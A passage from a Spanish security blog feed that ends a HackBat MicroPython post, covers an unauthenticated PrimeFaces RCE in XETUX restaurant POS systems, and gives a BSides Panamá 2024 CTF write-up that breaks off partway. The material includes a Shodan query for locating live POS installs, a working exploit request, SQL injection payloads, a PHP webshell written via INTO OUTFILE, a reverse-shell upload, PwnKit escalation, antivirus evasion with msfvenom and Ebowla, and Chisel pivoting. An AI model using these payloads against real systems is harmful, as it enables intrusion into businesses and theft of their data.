    <p>Realizamos otra modificación al boot.py para verificar que, en efecto, se puede correr código de otro archivo por boot.py.</p>

    <p><img src="/assets/img/posts/hackbat/20.png" alt="19" /></p>

    <p>Acuérdate de ser cuidadoso con la sobreescritura de archivos o podrás perder archivos.</p>

    <p><img src="/assets/img/posts/hackbat/21.png" alt="20" /></p>

    <p>Con esto podemos tener una idea de futuros experimentos.</p>
  </li>
  <li>
    <p>Con los esquemáticos del HackBat, podemos ver que tiene 2 LED utilizables y 5 botones, lo suficiente para realizar pruebas como las siguientes</p>

    <p><img src="/assets/img/posts/hackbat/22.png" alt="21" /></p>
  </li>
</ol>

<p>En los esquemáticos podemos observar los leds (GPIO14, GPIO15) y los botones (GPIO22, GPIO26, GPIO27, GPIO28, GPIO29) Podemos encontrar los esquemáticos en el Github.</p>

<p><img src="/assets/img/posts/hackbat/23.png" alt="22" /></p>

<p>Un código que realiza el encendido y apagado de un LED.</p>

<p><img src="/assets/img/posts/hackbat/24.png" alt="23" /></p>

<p>No olvidemos actualizar nuestro boot.py y subirlo al HackBat.</p>

<ol>
  <li>
    <p>Realizaremos otra prueba con un botón y un LED ahora.</p>

    <p><img src="/assets/img/posts/hackbat/25.png" alt="24" /></p>
  </li>
</ol>

<p>Acuérdate de subir el archivo al HackBat y editar el boot.py</p>

<p><img src="/assets/img/posts/hackbat/26.png" alt="25" /></p>

<p><img src="/assets/img/posts/hackbat/27.png" alt="26" /></p>

<p>Resultados en consola después de presionar 5 veces el botón de arriba.</p>

<h5 id="reflexiones-finales">Reflexiones Finales</h5>

<p>Espero les allá gustado esta guía ya que muestra que no es tan difícil la programación de embebidos y espero que puedan crear otros tipos de script utilizando MicroPython, aun falta mucho por hacer, pero poco a poco se realizan las metas.</p>

<p>La meta intermedia es poder ensamblarlo completo con los módulos que le faltan y como meta final poder realizar pruebas de penetración tanto como de RF y NFC con este pequeño toolkit que uno mismo puede programar, y también correr DOOM.</p>

<p>Como mención honorífica, muchas gracias al creador Pablo Trujillo en crear esta herramienta hermosa y liberarlo al público como Open Hardware. Abajo están enlaces a los esquemáticos y el articulo en donde se publico el HackBat en Hackster.</p>

<h5 id="referencias">Referencias</h5>

<ul>
  <li>Hackster.io. (2024, 1 mayo). Hackbat. https://www.hackster.io/pablotrujillojuan/hackbat-1dfdbc</li>
  <li>Controlpaths. (s. f.). <em>GitHub - controlpaths/hackbat: Hackbat repository</em>. GitHub. https://github.com/controlpaths/hackbat</li>
</ul>]]></content><author><name>Eduardo Chong</name></author><summary type="html"><![CDATA[Programando el HackBat con MicroPython]]></summary></entry><entry><title type="html">De la Mesa al Código: Un Viaje a Través de la Vulnerabilidad RCE en POS para Restaurantes</title><link href="https://blog.toadsec.io/2024/02/13/primefaces.html" rel="alternate" type="text/html" title="De la Mesa al Código: Un Viaje a Través de la Vulnerabilidad RCE en POS para Restaurantes" /><published>2024-02-13T00:00:00+00:00</published><updated>2024-02-13T00:00:00+00:00</updated><id>https://blog.toadsec.io/2024/02/13/primefaces</id><content type="html" xml:base="https://blog.toadsec.io/2024/02/13/primefaces.html"><![CDATA[<h1 id="de-la-mesa-al-código-un-viaje-a-través-de-la-vulnerabilidad-rce-en-pos-para-restaurantes">De la Mesa al Código: Un Viaje a Través de la Vulnerabilidad RCE en POS para Restaurantes</h1>

<p>En esta oportunidad nos encontramos por casualidad con una vulnerabilidad presente en varias aplicaciones de POS para restaurantes <a href="https://www.xetux.com/pa/">XETUX</a>, la cual es una solución para monitoreo  y automatización de restaurantes.  En panamá es una herramienta ampliamente utilizada por varios restaurantes.</p>

<p>La vulnerabilidad presente es una RCE (remote code execution), que permite atacantes ejecutar códigos de manera no autenticada y ganar privilegios en el objetivo.</p>

<!--more-->

<p><img src="/assets/img/posts/primefaces/2.png" alt="2" /></p>

<h5 id="1-enumeración">1. Enumeración</h5>

<p>Una vez descubrimos que la existencia de una librería presente en la aplicación de Xetux, la librería en cuestión es llamada primefaces, encargada de generar pdf, decidimos realizar una búsqueda en shodan para identificar posibles objetivos</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http.title:"@XETUX" country:PA
</code></pre></div></div>

<p>La búsqueda arrojo 40 resultados y 334 en el mundo</p>

<p><img src="/assets/img/posts/primefaces/1.png" alt="1" /></p>

<p>Procedemos a comprobar la vulnerabilidad en uno de los objetivos que no se encontraban en Panamá, al analizar los resultados el backend</p>

<p><img src="/assets/img/posts/primefaces/3.png" alt="3" /></p>

<p>Podemos observar que la aplicación ha sido instalada con todos los privilegios <strong>nt authoriy\system</strong>, vamos a explicar lo que sucede a continuación:</p>

<p>La aplicación esta usando un apache tomcat como server, para el backend se utiliza java, en la aplicación usan una librería o un plugin de terceros llamados Primefaces, la ruta con el problema es el endpoint <strong>javax.faces.resource/dynamiccontent.properties.xhtml</strong></p>

<p>Al buscar sobre dicha librería encontramos una <a href="https://www.illucit.com/en/java-ee/primefaces-expression-language-remote-code-execution-fix">vulnerabilidad</a>, Primefaces carga contenido dinámico de la siguiente manera</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/javax.faces.resource/dynamiccontent.properties.jsf?ln=primefaces<span class="err">&amp;</span>pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl<span class="err">&amp;</span>forcereload=1523006610695<span class="err">&amp;</span>pfdrid_c=true
</code></pre></div></div>

<p>El problema se encuentra en el parámetro <strong>pdfid</strong></p>

<p><code class="language-plaintext highlighter-rouge">pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl</code></p>

<p>El valor del parametro va cifrado y no hay manera de validar si la petición será descifrada correctamente, desafortunadamente sino modifican los valores de la llave por defecto se pueden solicitar la generación de una default key, por lo que afortunadamente para nosotros todas las pruebas realizadas mantenían la lleve por defecto.</p>

<p>De igual manera se podría realizar un ataque Padding Oracle Attack y obtener las llave con la Herramienta Padbuster. A continuación compartimos la solicitud</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: ip:9090
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 1643

pfdrt=sc<span class="err">&amp;</span>ln=primefaces<span class="err">&amp;</span>pfdrid=4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel%2Fv4YXvibdOn52ow4M6lDaKd9Gb8JdQqbACZNWVZpVS%2B3sX1Hoizouty1mYYT4yJsKPnUZ0LUHDvN0GB5YLgX1PkNY%2B1ZQ%2FnOSg5J1LDyzAjBheAxLDODIVcHkmJ6hnJsQ0YQ8bMU5%2B%2BTqeD4BGqCZMDjP%2BZQvveiUhxsUC%2F%2BtPqnOgFSBV8TBjDSPNmVoQ9YcKTGelKuJjS2kCXHjcyz7PcQksSW6UUmKu9RhJ%2Bx3Mnx6j56eroVPWnM2vdYRt5An6cLo1YPXu9uqriyg1wgm%2F7xYP%2FUwP1q8wfVeyM4fOw2xJzP6i1q4VLHLXi0VYHAIgaPrZ8gH8XH4X2Kq6ewyrJ62QxBF5dtE3tvLAL5tpGxqek5VW%2BhZFe9ePu0n5tLxWmqgqni8bKGbGrGu4IhXhCJhBxyelLQzPGLCfqmiQwYX5Ime9EHj1k5eoWQzH8jb3kQfFJ0exVprGCfXKGfHyfKfLEOd86anNsiQeNavNL7cDKV0yMbz52n6WLQrCAyzulE8kBCZPNGIUJh24npbeaHTaCjHRDtI7aIPHAIhuMWn7Ef5TU9DcXjdJvZqrItJoCDrtxMFfDhb0hpNQ2ise%2BbYIYzUDkUtdRV%2BjCGNI9kbPG5QPhAqp%2FJBhQ%2BXsqIhsu4LfkGbt51STsbVQZvoNaNyukOBL5IDTfNY6wS5bPSOKGuFjsQq0Xoadx1t3fc1YA9pm%2FEWgyR5DdKtmmxG93QqNhZf2RlPRJ5Z3jQAtdxw%2BxBgj6mLY2bEJUZn4R75UWnvLO6JM918jHdfPZELAxOCrzk5MNuoNxsWreDM7e2GX2iTUpfzNILoGaBY5wDnRw46ATxhx6Q%2FEba5MU7vNX1VtGFfHd2cDM5cpSGOlmOMl8qzxYk1R%2BA2eBUMEl8tFa55uwr19mW9VvWatD8orEb1RmByeIFyUeq6xLszczsB5Sy85Y1KPNvjmbTKu0LryGUc3U8VQ7AudToBsIo9ofMUJAwELNASNfLV0fZvUWi0GjoonpBq5jqSrRHuERB1%2BDW2kR6XmnuDdZMt9xdd1BGi1AM3As0KwSetNq6Ezm2fnjpW877buqsB%2BczxMtn6Yt6l88NRYaMHrwuY7s4IMNEBEazc0IBUNF30PH%2B3eIqRZdkimo980HBzVW4SXHnCMST65%2FTaIcy6%2FOXQqNjpMh7DDEQIvDjnMYMyBILCOCSDS4T3JQzgc%2BVhgT97imje%2FKWibF70yMQesNzOCEkaZbKoHz498sqKIDRIHiVEhTZlwdP29sUwt1uqNEV%2F35yQ%2BO8DLt0b%2BjqBECHJzI1IhGvSUWJW37TAgUEnJWpjI9R1hT88614GsVDG0UYv0u8YyS0chh0RryV3BXotoSkSkVGShIT4h0s51Qjswp0luewLtNuVyC5FvHvWiHLzbAArNnmM7k%2FGdCn3jLe9PeJp7yqDzzBBMN9kymtJdlm7c5XnlOv%2BP7wIJbP0i4%2BQF%2BPXw5ePKwSwQ9v8rTQ%3D%3D<span class="err">&amp;</span>cmd=whoami
</code></pre></div></div>

<h5 id="2-reverseshell">2. Reverseshell</h5>

<p>Como mencionamos anteriormente la librería que contiene el RCE es Primefaces la cual tiene un exploit público <a href="https://github.com/pimps/CVE-2017-1000486">CVE-2017-1000486</a></p>

<p>Probaremos la vulnerabilidad bajando el exploit</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/pimps/CVE-2017-1000486.git
<span class="nb">cd </span>CVE-2017-1000486
pip3 <span class="nb">install</span> <span class="nt">-r</span> requirements.txt
</code></pre></div></div>

<p>Ejecutamos el exploit</p>

<p><img src="/assets/img/posts/primefaces/4.png" alt="4" /></p>

<p>El mismo nos va arrojar una llave y la petición</p>

<p><img src="/assets/img/posts/primefaces/5.png" alt="5" /></p>

<p>Nos devolverá el resultado del comando</p>

<p><img src="/assets/img/posts/primefaces/6.png" alt="6" /></p>

<p>Ahora vamos a proceder a obtener la shell reversa,  para obtener el acceso al server:</p>

<p><img src="/assets/img/posts/primefaces/7.png" alt="7" /></p>

<h5 id="3-consideraciones-finales">3. Consideraciones Finales</h5>

<ul>
  <li>
    <p>Es importante destacar que la falla no solamente aplica al software Xetux, la misma esta en la librería Primefaces se encuentra en otras aplicaciones como <strong>MaxView Storage Manager</strong> y <strong>DOCBOX</strong>.</p>
  </li>
  <li>
    <p>Los fix para la vulnerabilidad se encuentran hace años puesta el mismo es del 2017, se recomienda actualizar el primefaces.</p>
  </li>
  <li>
    <p>El acceso al endpoint es sin autenticación por lo que cualquiera puede realizar peticiones, por lo que se debe validar si las peticiones son válidas.</p>
  </li>
  <li>
    <p>Si utiliza alguna de las aplicaciones mencionados compartimos el repositorio de nuclei con el que pueden comprobar si son vulnerables https://gitlab.com/t0adsec/nuclei-templates</p>
  </li>
  <li>
    <p>Responsablemente hemos informado a los proveedores de la app en sus respectivos países, no obstante a la fecha no hemos recibido contacto de parte de ellos.</p>
  </li>
</ul>

<h5 id="4-referencias">4. Referencias</h5>

<ul>
  <li><em>XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行漏洞-CSDN博客</em>. (s. f.). https://blog.csdn.net/holyxp/article/details/134402720</li>
  <li>Gobysec. (s. f.). <em>GobyVuls/GobyVuls-Document.md at master · gobysec/GobyVuls</em>. GitHub. https://github.com/gobysec/GobyVuls/blob/master/GobyVuls-Document.md</li>
  <li>Lindner, S. (2018, 26 abril). <em>PrimeFaces Expression Language Remote Code Execution fix</em>. illucIT Software GmbH. https://www.illucit.com/en/java-ee/primefaces-expression-language-remote-code-execution-fix</li>
</ul>]]></content><author><name>Jose Moreno</name></author><summary type="html"><![CDATA[De la Mesa al Código: Un Viaje a Través de la Vulnerabilidad RCE en POS para Restaurantes]]></summary></entry><entry><title type="html">WriteUP CTF BSides Panamá 2024</title><link href="https://blog.toadsec.io/2024/02/01/ctf-bsides-2024.html" rel="alternate" type="text/html" title="WriteUP CTF BSides Panamá 2024" /><published>2024-02-01T00:00:00+00:00</published><updated>2024-02-01T00:00:00+00:00</updated><id>https://blog.toadsec.io/2024/02/01/ctf-bsides-2024</id><content type="html" xml:base="https://blog.toadsec.io/2024/02/01/ctf-bsides-2024.html"><![CDATA[<p>En esta entrada, exploraremos las soluciones y estrategias utilizadas por mi equipo, formado por Elzer Pineda, Eduardo Luna y mi persona, José Navarro, durante el reciente Capture The Flag (CTF) organizado por Comunidad Dojo y OYDIA como parte de la agenda del BSides Panamá 2024, donde obtuvimos el primer lugar.</p>

<!--more-->

<p>Nota: El CTF también contenía una serie de retos relacionados al Hacking de redes Wi-Fi, pero estos serán omitidos en el WriteUp por falta de documentación durante la explotación.</p>

<h2 id="topología-de-red">Topología de Red</h2>

<p>La red estaba compuesta por dos servidores, uno Windows y un Linux, además un escritorio Windows 10, estos estaban en una red privada, a la que se accedía por medio de una VPN provista por los organizadores.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/1.png" alt="Topología de red" /></p>

<h2 id="webserver-linux">Webserver Linux</h2>

<h3 id="reconocimiento-inicial">Reconocimiento Inicial</h3>

<p>Al realizar un escaneo de puertos con <strong>Nmap</strong>, pudimos observar que los puertos 22, 80 y 3000 estaban abiertos, por lo que sospechamos que nos enfrentábamos a un servidor web.
Luego realizamos un escaneo de servicios y versiones con Nmap, utilizando el comando:</p>

<p><code class="language-plaintext highlighter-rouge">nmap -p 22, 80, 3000 -sCV 10.1.1.101 -oN portScan</code></p>

<p>Y obtuvimos el siguiente resultado:</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/2.png" alt="Escaneo de puertos" /></p>

<p>Al acceder al servicio web que se encontraba en el puerto 80, observamos que era una página vacía, por lo que intentamos realizar <strong>fuzzing</strong>.</p>

<p>El fuzzing nos dio como resultado dos rutas importantes, la primera de ellas era un archivo <strong>phpinfo.php</strong> y un directorio llamado <strong>copper</strong>.</p>

<h4 id="flag-acceso-a-informacion-de-servidor-linux">Flag: Acceso a informacion de servidor Linux</h4>

<p>Al ingresar al archivo <strong>phpinfo.php</strong>, podemos encontrar al final del archivo nuestra primera flag.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/3.png" alt="Primera flag" /></p>

<p><code class="language-plaintext highlighter-rouge">flag - 4789accc94caf5962a77d3f08bd2c9015c7576ea80fa0770507bf6373072529c</code></p>

<h4 id="directorio-copper">Directorio Copper</h4>

<p>Una vez entramos al directorio, nos encontramos una apliciación web llamada <strong>Coppermine Gallery</strong>, que no es más que una galería de fotos. Al investigar un poco, encontramos que las credenciales por defecto eran <code class="language-plaintext highlighter-rouge">admin:admin</code>, al intentarlo, tuvimos acceso al panel administrativo, por lo que la aplicación tenía las credenciales por defecto.</p>

<p><img src="4.png" alt="copper" /></p>

<h3 id="shell-como-www-data">Shell como www-data</h3>

<p>Al investigar más sobre <strong>Coppermine Gallery</strong>, encontramos que es vulnerable a una <strong>Ejecución Remota de Comandos (RCE)</strong>, por lo que explotamos la vulnerabilidad de la siguiente manera:</p>

<ol>
  <li>Crear una webshell o una reverse shell utilizando PHP, en nuestro caso, utilizamos <a href="https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php">php-reverse-shell.php</a>, creado por PentestMonkey.</li>
  <li>Comprimimos la reverse shell en un archivo zip utilizando <code class="language-plaintext highlighter-rouge">zip shell.zip shell.php</code>.</li>
  <li>Accedemos al sitio de administración de plugins que se encuentra en <code class="language-plaintext highlighter-rouge">/pluginmgr.php</code>.</li>
  <li>
    <p>Subimos el archivo comprimido con nuestra reverse shell.</p>

    <p><img src="/assets/img/posts/ctf-bsides-2024/5.png" alt="subida de archivo" /></p>
  </li>
  <li>Iniciamos una sesión en <strong>Netcat</strong> para recibir nuestra shell.</li>
  <li>Acceder al directorio <code class="language-plaintext highlighter-rouge">/plugins/shell.php</code>
<img src="/assets/img/posts/ctf-bsides-2024/6.png" alt="shell" /></li>
</ol>

<h4 id="flag-acceso-al-servidor-linux---usuario-bajos-privilegios">Flag: Acceso al servidor Linux - Usuario bajos privilegios</h4>

<p>Una vez entramos al servidor, en el directorio <code class="language-plaintext highlighter-rouge">/var/www/</code>, nos encontramos un archivo llamado <code class="language-plaintext highlighter-rouge">flag.txt</code> siguiente flag:</p>

<p><code class="language-plaintext highlighter-rouge">user - 070670a00ab35e26ae913c88637a9fcb4206829c93bf991f1ccdc07944c71ec6</code></p>

<h4 id="flag-acceso-a-informacion-de-servidor-linux-2">Flag: Acceso a informacion de servidor Linux #2</h4>

<p>En el directorio <code class="language-plaintext highlighter-rouge">/var/www/html</code>, nos encontramos una carpeta llamada <code class="language-plaintext highlighter-rouge">backups</code>, en esta hay un archivo llamado <code class="language-plaintext highlighter-rouge">backup-sql.sql</code>, si nos traemos este archivo a nuestra máquina de atacante y lo analizamos, encontraremos nuestra siguiente flag.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/7.png" alt="flag" /></p>

<p><code class="language-plaintext highlighter-rouge">flag - 6dca221373d9e5086413d6def87c641431d7b3b4b9316a342f2eb26d96161f6d</code></p>

<h3 id="privesc-www-data---root">PrivEsc www-data -&gt; root</h3>

<p>El escalado de privilegios en este servidor es bastante sencillo.</p>

<p>Al enumerar filtrar por los archivos con permisos SUID, por medio del comando <code class="language-plaintext highlighter-rouge">find \-perm -4000 2&gt;/dev/null</code> encontramos que se encuentra el binario <code class="language-plaintext highlighter-rouge">./usr/bin/pkexec</code> por lo que el servidor es vulnerable a <strong>CVE-2021-4034</strong>, o mejor conocido como <strong>PwnKit</strong>.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/8.png" alt="kernel" /></p>

<p>La explotación es simple, solamente nos descargamos el binario que se encuentra en <a href="https://github.com/ly4k/PwnKit">GitHub</a> y lo transferimos al servidor.</p>

<p>Al ejecutar el binario, obtenemos una shell como <strong>root</strong>.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/9.png" alt="root" /></p>

<h4 id="flag-acceso-al-servidor-linux---usuario-bajos-privilegios-2">Flag: Acceso al servidor Linux - Usuario bajos privilegios #2</h4>

<p>En el directorio <code class="language-plaintext highlighter-rouge">/home/greg</code>, encontramos un archivo llamado <strong>flag.txt</strong> y aquí obtenemos nuestra flag de bajos privilegios.</p>

<p><code class="language-plaintext highlighter-rouge">user - 99ac9d9aa3e05bcc7593b106f3f87539ce437c397be0fd6b6113b9fdb43906d7</code></p>

<h4 id="flag-acceso-root-al-servidor-linux">Flag: Acceso root al servidor Linux</h4>

<p>En el directorio <code class="language-plaintext highlighter-rouge">/root</code>, encontramos un archivo llamado <strong>flag.txt</strong> y aquí obtenemos nuestra flag de root.</p>

<p><code class="language-plaintext highlighter-rouge">root - 2b19be30debdda83c56ee0bc6c0ffd1fd2ce0bc5190c930da74de59f8a795881</code></p>

<p>Con esto, concluimos la primera máquina de este CTF.</p>

<h2 id="app-01-windows-10">APP-01 Windows 10</h2>

<h3 id="reconocimiento-inicial-1">Reconocimiento Inicial</h3>

<p>Luego de realizar el escaneo de puertos y sus respectivas versiones, encontramos que en el equipo se estaban ejecutando distintos servicios, entre ellos habían servicios web (puertos 80, 443 y 3000), <strong>RPC</strong>, <strong>Netbios</strong>, <strong>SMB</strong>, <strong>MySQL</strong>, <strong>RDP</strong>, etc.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/10.png" alt="puertos" /></p>

<p>En cuanto a los servicios web, en el puerto 80 y 443 nos encontramos la pantalla de inicio de <strong>XAMPP</strong>.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/11.png" alt="xampp" /></p>

<p>Por otro lado, en el puerto 3000 nos encontramos un servidor de <strong>Gitea</strong>, de una versión aparentemente vulnerable a <strong>RCE</strong>, pero esa vulnerabilidad había sido proboada solamente en Linux.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/12.png" alt="gitea" /></p>

<p>Decidimos intentar <strong>Fuzzing</strong> en el puerto 80 con el siguiente comando:</p>

<p><code class="language-plaintext highlighter-rouge">wfuzz -c -t 500 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.1.1.101/FUZZ</code></p>

<p><img src="/assets/img/posts/ctf-bsides-2024/13.png" alt="fuzzing" /></p>

<p>Como se puede ver en la imagen, existe un directorio llamado <strong>login</strong>, vemos que su estado es 301, esto se da ya que decidimos realizar el <strong>fuzzing</strong> en al puerto 80, por lo que el servidor intenta redirigirnos al puerto 443.</p>

<p>Una vez entramos al directorio, encontramos una aplicación web básica que parece ser un proyecto de autenticación en PHP.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/14.png" alt="webapp" /></p>

<p>Algo curioso que encontramos en la aplicación, es que en la parte inferior derecha de la página, aparece el nombre de un blog de programación, por lo que imaginamos que es el creador de la aplicación.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/15.png" alt="nombre" /></p>

<p>Al ingresar al blog de <a href="https://phpgurukul.com/">PHPGurukul - Programming Blog</a>, podemos encontrar este y otros proyectos de programación, así que pudimos encontrar el código fuente para analizarlo y encontrar otras cosas.</p>

<h3 id="inyección-sql-1">Inyección SQL 1</h3>

<p>Al analizar el código fuente, encontramos la consulta SQL donde se realizaba el login, que era:</p>

<p><code class="language-plaintext highlighter-rouge">SELECT id,fname FROM users WHERE email='$useremail' and password='$dec_password'</code></p>

<p>Además, encontramos que la información ingresada por los usuarios no era sanitizada antes de llegar a la base de datos, por lo que era vulnerable a una inyección SQL.</p>

<p>Al utilizar <code class="language-plaintext highlighter-rouge">' OR '1'='1'; -- -</code> en los campos de usuario y contraseña, obtenemos acceso al sitio administrativo.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/16.png" alt="login" />
<img src="/assets/img/posts/ctf-bsides-2024/17.png" alt="admin" /></p>

<h3 id="inyección-sql-2">Inyección SQL 2</h3>

<p>Al navegar por el sitio administrativo, encontramos una opción para editar la información de los usuarios, lo curioso aquí, es que la información de los usuarios la obtenía a través de una consulta SQL, para poder realizar la consulta, utiliza un parámetro llamado <code class="language-plaintext highlighter-rouge">uid</code>, con números enteros.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/18.png" alt="perfil" /></p>

<p>Si reemplazamos el <code class="language-plaintext highlighter-rouge">uid</code> del usuario por un caracter especial como <code class="language-plaintext highlighter-rouge">'</code>, obtenemos un error de la base de datos, esto quiere decir que el parámetro es vulnerable a una inyección SQL.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/19.png" alt="error" /></p>

<p>Luego de mucho tiempo intentando inyecciones, realicé la siguiente consulta:</p>

<p><code class="language-plaintext highlighter-rouge">' UNION SELECT null, table_name, null, null, null, null, null FROM information_schema.tables -- -;</code></p>

<p>Esto me dió como resultado el esquema de la base de datos. Y algo muy curioso, es que me había una tabla llamada <strong>flag</strong>.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/20.png" alt="flag" /></p>

<h4 id="flag-acceso-a-informacion-del-equipo-de-escritorio-windows-10">Flag: Acceso a informacion del equipo de escritorio Windows 10</h4>

<p>Al encontrar la tabla flag, realicé unos cambios en la consulta anterior, y realicé la siguiente consulta:</p>

<p><code class="language-plaintext highlighter-rouge">' UNION SELECT null, column_name, null, null, null, null, null FROM information_schema.columns where table_name="flag" -- -;</code></p>

<p>Y habemus flag!</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/21.png" alt="flag" /></p>

<p><code class="language-plaintext highlighter-rouge">sql - 0ec96c090f1b4aa9d7674c6eaeef5009b6d02201cf9006b561bbd8d4e7</code></p>

<h3 id="inyección-sql-3-y-rce">Inyección SQL 3 y RCE</h3>

<p>Luego de haber conseguido la inyección SQL, pensamos si era posible escribir una webshell básica de <strong>PHP</strong> en el directorio <code class="language-plaintext highlighter-rouge">C:\xampp\htdocs\</code>, por lo que intentamos la siguiente consulta:</p>

<p><code class="language-plaintext highlighter-rouge">' UNION select 1,2,"&lt;?php echo shell_exec($_GET['c']);?&gt;",4,5,6,7 into OUTFILE 'C:/xampp/htdocs/cmd.php';-- -</code></p>

<p>Al ejecutar la consulta, nos dirigimos al archivo creado y tuvimos <strong>RCE</strong>.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/22.png" alt="whoami" /></p>

<h3 id="evasión-de-antivirus-y-shell-como-roger">Evasión de Antivirus y Shell como roger</h3>

<p>Después de más de 3 horas intentando conseguir una reverse shell con <code class="language-plaintext highlighter-rouge">nc.exe</code>, <code class="language-plaintext highlighter-rouge">php-reverse-shell.php</code> y ejecutables creados con <code class="language-plaintext highlighter-rouge">msfvenom</code>, todas sin éxito, decidí enumerar información sobre Windows Defender.</p>

<p>Al ejecutar el comando <code class="language-plaintext highlighter-rouge">powershell.exe Get-MpComputerStatus</code>, encontramos que la protección en tiempo real estaba habilitada.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/23.png" alt="av" /></p>

<p>Esto significa que tendremos que crear un payload con <code class="language-plaintext highlighter-rouge">msfvenom</code>, para luego ofuscarlo, en este caso utilizando la herramienta <strong>Ebowla</strong>.</p>

<p>En este caso, creé un payload de <strong>meterpreter</strong> utilizando <strong>msfvenom</strong>, luego cloné el repositorio oficial de <a href="https://github.com/Genetic-Malware/Ebowla">Ebowla</a>, para ofuscar el payload.</p>

<p>Para ofuscar el payload, debemos editar el archivo <strong>genetic.config</strong> de <strong>Ebowla</strong>, aquí debemos ir a la sección de <strong>[ENV_VAR]</strong> y rellenar los datos con las variables de entorno del equipo víctima.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/24.png" alt="envvar" /></p>

<p>Luego de esto, ejecutamos lo siguiente</p>

<p><code class="language-plaintext highlighter-rouge">python2 ebowla.py shell.exe genetic.config</code></p>

<p><img src="/assets/img/posts/ctf-bsides-2024/25.png" alt="ebowla" /></p>

<p>Luego de esto, debemos compilar el código ofuscado que nos da <strong>Ebowla</strong>, esto lo realizamos con el script que viene con la herramienta.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/26.png" alt="compilacion" /></p>

<p>Una vez compilado, pasamos el binario a equipo víctima, en este caso con curl.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/27.png" alt="curl" /></p>

<p>Después de enviar el archivo, abrimos una sesión de escucha en <strong>meterpreter</strong> y ejecutamos el binario.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/28.png" alt="shell" /></p>

<h4 id="flag-acceso-al-equipo-de-escritorio-windows-10">Flag: Acceso al equipo de escritorio Windows 10</h4>

<p>Luego de tener la shell, podemos ir al directorio <code class="language-plaintext highlighter-rouge">C:\Users\Roger\Documents</code> y encontraremos el archivo <code class="language-plaintext highlighter-rouge">flag.txt</code> con nuestra flag.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/29.png" alt="flag" /></p>

<p><code class="language-plaintext highlighter-rouge">root - fae6640c394268a0fd3cf71ab749c721230982669f8733bf9b92680ec5fc5bca</code></p>

<p>En este escritorio no es necesario escalar privilegios, por lo que podemos pasar al servidor DC-01.</p>

<h2 id="dc-01-windows-server-2012">DC-01 Windows Server 2012</h2>

<h3 id="reconocimiento-inicial-2">Reconocimiento Inicial</h3>

<p>Durante el escaneo de puertos, nos dimos cuenta que estábamos ante un Domain Controller de un Directorio Activo, pero algo que llamó mucho la atención, es que no tenía el servicio <strong>SMB</strong> expuesto (al menos eso pensábamos).</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/30.png" alt="dc01" /></p>

<p>Luego de ver esto, pensamos que era muy extraño que en un Directorio Activo no esté el servicio <strong>SMB</strong> en ejecución, por lo que decidimos pensar fuera de la caja y hacer otro escaneo de puertos, pero desde una de la máquinas comprometidas, en este caso el <strong>WEBSERVER</strong> Linux, por lo que utilizamos <strong>Linpeas</strong> para realizar el escaneo de puertos de la siguiente manera:</p>

<p><code class="language-plaintext highlighter-rouge">./linpeas.sh -i 10.1.1.100</code></p>

<p><img src="/assets/img/posts/ctf-bsides-2024/31.png" alt="linpeas" /></p>

<p>El escaneo en <strong>Linpeas</strong> nos arroja que el puerto 445 está abierto, por lo que podemos hacer <strong>Port Forwarding</strong> desde la máquina Linux hasta nuestra máquina de atacante, para traer el puerto 445 y poder escanear el <strong>SMB</strong>, esto lo haremos utilizando la herramienta <strong>Chisel</strong>.</p>

<p>Para poder traer el puerto, primero debemos iniciar chisel en nuestra máquina de atacante con el comando:</p>

<p><code class="language-plaintext highlighter-rouge">./chisel server --reverse -p 1234</code></p>

<p><img src="/assets/img/posts/ctf-bsides-2024/32.png" alt="chisel" /></p>

<p>Luego, en la máquina Linux ejecutamos lo siguiente:</p>

<p><code class="language-plaintext highlighter-rouge">./chisel client 172.16.80.6:1234 R:127.0.0.1:445:10.1.1.100:445</code></p>

<p><img src="/assets/img/posts/ctf-bsides-2024/33.png" alt="chiselclient" /></p>

<p>Con esto, ya tendríamos el puerto 445 disponible, pero en este caso, el ataque lo tendríamos que dirigir a nosotros mismos, es decir, al la dirección <code class="language-plaintext highlighter-rouge">127.0.0.1</code>.</p>

<h3 id="shell-como-nt-authoritysystem">Shell como nt authority\system</h3>

<p>Para realizar el escaneo al servicio <strong>SMB</strong>, utilizamos lo siguiente:</p>

